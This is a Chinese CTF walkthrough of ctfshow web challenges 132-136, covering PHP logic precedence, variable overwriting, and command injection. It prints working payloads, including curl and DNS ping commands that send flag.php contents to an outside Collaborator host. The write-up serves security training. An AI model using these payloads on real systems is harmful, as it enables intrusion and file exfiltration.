ctfshow-web入门-php特性(web132-web136)

目录

1、web132

2、web133

3、web134

4、web135

5、web136


1、web132

存在 robots.txt

访问 /admin

需要传三个参数,并且需要满足:

if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){if($code == 'admin'){echo $flag;}

mt_rand(1, 0x36D) 会生成一个 1 到 877(十六进制0x36D)的随机数,因此 $code === mt_rand(1,0x36D) 这个条件很难满足,因为每次都会生成一个新的随机数,$code 很难与这个随机数相等。

当这个条件为假后,&& 后面的条件则不会再继续判断,直接返回 false;

&& 优先级高于 ||,对于 || 我们可以让最后一个条件满足,只要有一个为真都是返回 true。

后面继续判断 $code == 'admin' 即可,payload:

?username=admin&password=&code=admin

拿到 flag:ctfshow{dbe0a94b-b874-4ec4-83e6-b9e4d79b7978}

2、web133

正则表达式过滤掉了一些命令执行函数 ,substr() 函数会返回字符串的一部分,这里只截取了我们传入的前六个字符,然后执行 eval 函数。

六个字符显然不能构造出什么,但是如果我们传入的就是 $F 本身呢?

比如传入:?F=`$F `;sleep 3

观察发现页面确实存在延时,说明 sleep 3 执行成功了。

分析下为什么会这样:

`$F `;sleep 3 会先经过substr($F,0,6)截取六个字符后得到 `$F `;

然后执行 eval("`$F `;");

而其中的 $F 原本是我们传入的内容,即 `$F `;sleep 3;

因此执行的是 eval("``$F `;sleep 3`"); 也就会执行 sleep 3。

这里使用 burpsuite 的 Collaborator Client 结合 curl -F 命令外带 flag:

这个模块说实话我也是第一次用,先随机获取一个域名:

我这里复制下来是:ie06j1rcl08qz5vd887cz1c9f0ls9ix7.oastify.com

构造 payload:

?F=`$F`;+curl -X POST -F xx=@flag.php  http://ie06j1rcl08qz5vd887cz1c9f0ls9ix7.oastify.com

对 payload 的一些解释:

-F 为带文件的形式发送 post 请求;

其中 xx 是上传文件的 name 值,我们可以自定义的,而 flag.php 就是上传的文件 ;

相当于让服务器向 Collaborator 客户端发送 post 请求,内容是flag.php。

提交 get 请求:

之后刷新一下 Collaborator Client 这边:

这里还可以直接命令执行:

?F=`$F`; curl http://7dlviqq1kp7fyuu27x61yqbyepkh8cw1.oastify.com/`ls`

命令的输出将被插入到 curl 命令的 URL 中 

?F=`$F`; curl http://5lrtqoyzsnfd6s20fvez6ojwmnsfg94y.oastify.com/`cat flag.php|grep ctfshow`

因为 flag.php 内容是多行,所以结合 grep 找一下。 

3、web134

代码审计:

if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {die("nonononono");
}

如果通过 GET 或 POST 请求中设置了 key1 或 key2,脚本将停止执行并输出 "nonononono"。

@parse_str($_SERVER['QUERY_STRING']);

解析查询字符串并将变量提取到当前作用域中,@ 用于抑制可能的错误。

extract($_POST);

将 POST 请求中的参数提取为局部变量,这就可能会覆盖已有变量的值,例如 $key1 和 $key2。

payload:

?_POST[key1]=36d&_POST[key2]=36d

解析后,会将 $_POST['key1'] 和 $_POST['key2'] 赋值为 36d;
由于 extract($_POST),这两个 POST 参数会被提取为局部变量 $key1 和 $key2;
这样就能使 $key1 和 $key2 都等于 36d,从而通过最后的条件检查。

查看源码:

拿到 flag:ctfshow{a344ccbb-706d-40bb-a5c9-dfc5b041930b}

4、web135

新增了更多的命令过滤,但是这道题的当前目录可写。

payload:

?F=`$F`; nl f*>1.txt

之后访问 1.txt 即可看到 flag

拿到 flag:ctfshow{f5f86342-7b20-48ae-83a3-cfaa412cecac}

当然还可以用 cp、mv 命令:

?F=`$F`; cp flag.php 2.txt
?F=`$F`; mv flag.php 3.txt

也可以采用 DNS 外带的方法,payload:

?F=`$F`;+ping `nl flag.php|awk 'NR==15'|tr -cd 'a-zA-Z0-9-'`.mf5ak5sgm49u09wh9c8g05ddg4mxatyi.oastify.com

用 nl 命令为 flag.php 文件中的每一行添加行号;

用 awk 命令选择第 15 行(flag 在多少行是需要不断尝试出来的);

tr -cd 'a-zA-Z0-9-' 这个命令会删除所有不是字母、数字、减号的内容,原本我想将大括号也保留,但是试了下不行。

这里重启了一下容器,因此 flag 有变动。

第 15 行的 flag1 内容: 

?F=`$F`;+ping `nl flag.php | awk 'NR==16' | tr -cd 'a-zA-Z0-9-' `.mf5ak5sgm49u09wh9c8g05ddg4mxatyi.oastify.com

第 16 行的 flag2 内容: 

flag 分为了两段,flag1 和 flag2,拼接起来,字母都改成小写字母,添加上大括号即可。

5、web136

过滤掉了一些命令和符号

其实我没怎么遇到过这个 exec 函数,尝试执行命令,但是发现回显空白:

在 PHP 中,exec、system 和、passthru 都是用来调用外部 Linux 命令的函数,但它们还是有区别的:

(1)system()

用于执行外部程序;
输出命令的执行结果到标准输出设备,并返回命令的最后一行结果;
可以通过传递第二个参数来捕获命令执行后的返回状态码。

(2)passthru()

用于执行外部程序;
将命令的原始输出直接发送到标准输出设备(通常是浏览器);
不返回任何值,但可以通过第二个参数捕获命令执行后的返回状态码。

(3)exec()

用于执行外部程序;
不会输出结果到标准输出,而是将最后一行结果作为返回值返回;
如果传入第二个参数(数组),可以将所有输出保存到这个数组中;
第三个参数是一个整数变量,用于捕获命令执行后的返回状态码。

我们可以将结果重定向到某个文件,然后再访问对应的文件,但是这里 > 被过滤了,我们可以使用 tee 命令来实现类似的功能,tee 命令可以将命令的输出写入到标准输出的同时写入到一个文件中,payload:

?c=ls|tee 1

访问 1,下载后用记事本打开,发现不存在 flag 相关的文件:

这里的 1.txt是我最开始尝试的:

才发现它过滤掉了点

但是我访问 1.txt,这个文件还是被创建了,并且里面有 ls 命令执行的结果:

仔细看了下代码,才发现这里的过滤其实就是个幌子,只是说匹配到正则会输出 too young too simple sometimes naive! 并没有直接 die 掉的,因此 exec 函数还是会继续执行的。

那我直接用重定向啊哈哈哈:

?c=ls />2.txt

访问 2.txt:

果然是虚晃一枪,发现存在名为 f149_15_h3r3 的文件。

直接读取:

?c=cat /f149_15_h3r3>3.txt

拿到 flag:ctfshow{53b1956a-8a2e-48f1-b443-f0e32d3e36b1}

如果真的是被过滤掉了,那就用 tee 命令代替:

?c=cat /f149_15_h3r3|tee 3

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/3266680.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

shell-awk文本处理工具

1、awk概述 AWK 是一种处理文本文件的语言,是一个强大的文本分析工具。 它是专门为文本处理设计的编程语言,也是行处理软件,通常用于扫描、过滤、统计汇总工作 数据可以来自标准输入也可以是管道或文件 在 linux 上常用的是 gawk,awk …

【Gitlab】SSH配置和克隆仓库

生成SSH Key ssh-keygen -t rsa -b 4096 私钥文件: id_rsa 公钥文件:id_rsa.pub 复制生成的ssh公钥到此处 克隆仓库 git clone repo-address 需要进行推送和同步来更新本地和服务器的文件 推送更新内容 git push <remote><branch> 拉取更新内容 git pull &…

【Django】django模板与前端技术(html模板)

文章目录 “python包html”还是“html包python”?1.新建模板2.模板语法3.views.py测试 “python包html”还是“html包python”? 在前端页面中html代码比python多得多&#xff0c;所以一定是html包python最优&#xff01;于是引出今天的模板。 大体分为三个步骤&#xff1a;…

CPU350% JVM GC频繁并GC不掉EXCEL导出

背景&#xff1a; 有个Excel导出的需求&#xff0c;测试的时候&#xff0c;只要连续导出大量的数据就会导致FAT机器反请求反应迟钝&#xff0c;甚至卡死&#xff0c;无法恢复。 排查&#xff1a; 1 跳板机跳到机器上&#xff0c;查看 项目 ipd 执行ps -ef | grep 项目名称.j…

解决学生技能短板:泰迪智能科技2024年中职大数据实验室,全面提升学生实践能力

一、中职院校现状及实验室建设背景 在当今信息化时代&#xff0c;大数据技术已成为国家战略发展的重要方向。中职院校作为我国职业教育体系的重要组成部分&#xff0c;肩负着培养高素质技术技能人才的重任。然而&#xff0c;目前我国中职院校在大数据教育方面存在以下问题&…

Django Web开发:构建强大RBAC权限管理系统的实战指南

文章目录 前言一、rbac 基于角色的权限管理1.acl 基于用户的权限管理2.rbac 基于角色的权限管理 二、应用示例1.配置角色资源a.分析表b.核心逻辑c.使用transfer在前端实现资源配置d.页面效果 2.登录时获取对应权限a.员工登录b.中间件c.前端请求d.效果图 3.前端-路由守卫-页面权…

鸿蒙HarmonyOS开发:如何灵活运用动画效果提升用户体验

文章目录 一、动画概述1、动画的目的 二、显式动画 (animateTo)1、接口2、参数3、AnimateParam对象说明4、示例5、效果 三、属性动画 (animation)1、接口2、参数3、AnimateParam对象说明4、系统可动画属性4、示例5、效果 一、动画概述 动画的原理是在一个时间段内&#xff0c;…

IDEA缓存和索引

IDEA缓存和索引 —2020年06月10日 IntelliJ IDEA首次加载项目的时候。都会创建索引&#xff0c;而创建索引的时间根项目的文件多少成正比。 IntelliJ IDEA的缓存和索引主要是用来加快文件查询&#xff0c;从而加快各种查找、代码提示等操作的速度。 某些特殊情况下&#xf…

剑和沙盒 1 - Windows Sandbox 简介

Windows Sandbox 提供了一个轻量级桌面环境&#xff0c;可以安全地独立运行应用程序。安装在 Windows Sandbox 环境中的软件仍处于“沙盒”状态&#xff0c;独立于主机运行。 沙盒是临时的。关闭后&#xff0c;所有软件、文件和状态都会被删除。每次打开应用程序时&#xff0c…

scrapy 爬取旅游景点相关数据(一)

第一节 Scrapy 练习爬取穷游旅游景点 本项目为scrapy 练手项目&#xff0c;爬取的是穷游旅游景点列表数据 0 系统的环境 现在网上可以找到很多scrapy版本的视频或者代码&#xff0c;为避免混淆&#xff0c;下面列出本文开发过程中使用的软件版本。 scrapy 和 selenium 新版本和…

【NPU 系列专栏 3.1 -- - NVIDIA 的 Orin 和 Altan 和 Thor 区别】

请阅读【嵌入式及芯片开发学必备专栏】 文章目录 NVIDIA Orin、Altan 和 ThorNVIDIA Orin 简介NVIDIA Orin 主要特点NVIDIA Orin 应用场景 NVIDIA Altan 简介NVIDIA Altan 主要特点NVIDIA Altan 应用场景 NVIDIA Thor 简介NVIDIA Thor 主要特点NVIDIA Thor 应用场景 与 Hopper …

重生之“我打数据结构,真的假的?”--5.堆(无习题)

1.堆的概念与结构 如果有⼀个关键码的集合 &#xff0c;把它的所有元素按完全⼆叉树的顺序存储⽅ 式存储&#xff0c;在⼀个⼀维数组中&#xff0c;并满⾜&#xff1a; &#xff08; 且 &#xff09;&#xff0c; i 0、1、2... &#xff0c;则称为⼩堆(或⼤堆)。将根结点最⼤的…

【数组中的 k-diff 数对】python刷题记录

R2-哈希表。 有点easy的感觉 class Solution:def findPairs(self, nums: List[int], k: int) -> int:#查找对的方式是查找xk&#xff0c;不查找x-k是避免查找重复#此外&#xff0c;需要注意k0的问题mp{}for x in nums:if x in mp:mp[x]1else:mp[x]1ret0for x,cnt in mp.ite…

2024年7月25日(Git gitlab以及分支管理 )

分布式版本控制系统 一、Git概述 Git 是一种分布式版本控制系统,用于跟踪和管理代码的变更。它是由Linus Torvalds创建的,最 初被设计用于Linux内核的开发。Git允许开发人员跟踪和管理代码的版本,并且可以在不同的开 发人员之间进行协作。 Github 用的就是Git系统来管理它们的…

C++内存管理和模板/stl初识

前言 c兼容C语言&#xff0c;但它因为有类和对象的概念&#xff0c;C语言原生的那套内存管理函数在特定场景下还是有些捉襟见肘的&#xff0c;为此c在C语言的基础上引入新的内存管理方案&#xff0c;今天我们就来简单的认识一下c的内存管理。除此之外&#xff0c;模板也是c引入…

数据结构与算法——赫夫曼编码

1、基本介绍 &#xff08;1&#xff09;赫夫曼编码也翻译为 哈夫曼编码(Huffman Coding)&#xff0c;又称霍夫曼编码&#xff0c;是一种编码方式。属于一种程序算法。赫夫曼编码是赫夫曼树在电信通讯中经典的应用之一。 &#xff08;2&#xff09;赫夫曼编码被广泛地应用于数据…

C语言程序设计13

程序设计13 问题13_1代码13_1结果13_1 问题13_2代码13_2结果13_2 问题13_3代码13_3结果13_3 问题13_1 函数 f u n fun fun 的功能是&#xff1a;把形参 s s s 所指字符串中下标为奇数的字符右移到下一个奇数位置&#xff0c;最右边被移出字符串的字符绕回放到第一个奇数位置&…

77.WEB渗透测试-信息收集-框架组件识别利用(1)

免责声明&#xff1a;内容仅供学习参考&#xff0c;请合法利用知识&#xff0c;禁止进行违法犯罪活动&#xff01; 内容参考于&#xff1a; 易锦网校会员专享课 上一个内容&#xff1a;76.WEB渗透测试-信息收集- WAF、框架组件识别&#xff08;16&#xff09; java&#xff…

Cannot access org.springframework.context.ConfigurableApplicationContext

Cannot access org.springframework.context.ConfigurableApplicationContext SpringApplication.run曝红 解决方案&#xff1a; File -> Invalidate Cache and Restart 如果对你有用就点个赞&#xff01;

FPGA开发——奇数分频器的设计

一、概论 在我们进行FPGA分频器的学习当中&#xff0c;我们通常会学习怎样完成任意分频器的设计&#xff0c;其中就包括偶数分频最为常见。在实现的分频器的同时我们也会不定时的要求同时设置对应的占空比。今天我们就来看看怎样同时设置奇数分频器和其对应50%的占空比。 二、…